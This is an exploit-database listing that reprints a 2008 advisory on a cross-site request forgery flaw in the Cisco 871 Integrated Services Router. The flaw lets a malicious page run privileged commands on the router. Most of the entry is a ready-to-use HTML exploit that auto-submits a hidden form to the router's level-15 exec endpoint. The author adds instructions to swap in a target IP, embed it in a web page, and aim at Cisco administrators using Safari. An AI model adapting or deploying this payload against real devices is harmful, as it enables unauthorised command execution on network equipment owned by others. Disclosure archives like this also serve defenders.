Lucene search
Jeremy BrownEXPLOITPACK:F74B1B9B583E7B8C51F60885ACCDC0D1HistorySep 17, 2008 - 12:00 a.m.
Cisco 871 Integrated Services Router - Cross-Site Request Forgery (1)
2008-09-1700:00:00
Jeremy Brown
7
Cisco 871 Integrated Services Router - Cross-Site Request Forgery (1)
source: https://www.securityfocus.com/bid/31218/info
The Cisco 871 Integrated Services Router is prone to a cross-site request-forgery vulnerability.
Successful exploits can run arbitrary commands on affected devices. This may lead to further network-based attacks.
The 871 Integrated Services Router under IOS 12.4 is vulnerable; other products and versions may also be affected.
<!-- Jeremy Brown [[email protected]/http://jbrownsec.blogspot.com] Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1 Replace "example.com" with the IP address of the target router, embed this in a web page and hope for the best. Cisco Admin's + Safari are the best targets ;) --> <html> <body> <body onload="asdf.submit();"> <form name=asdf method="post" action="http://example.com/level/15/exec/-"> <input type=hidden name=command value="show privilege"> <input type=hidden name=command_url value="/level/15/exec/-"> </body> </html>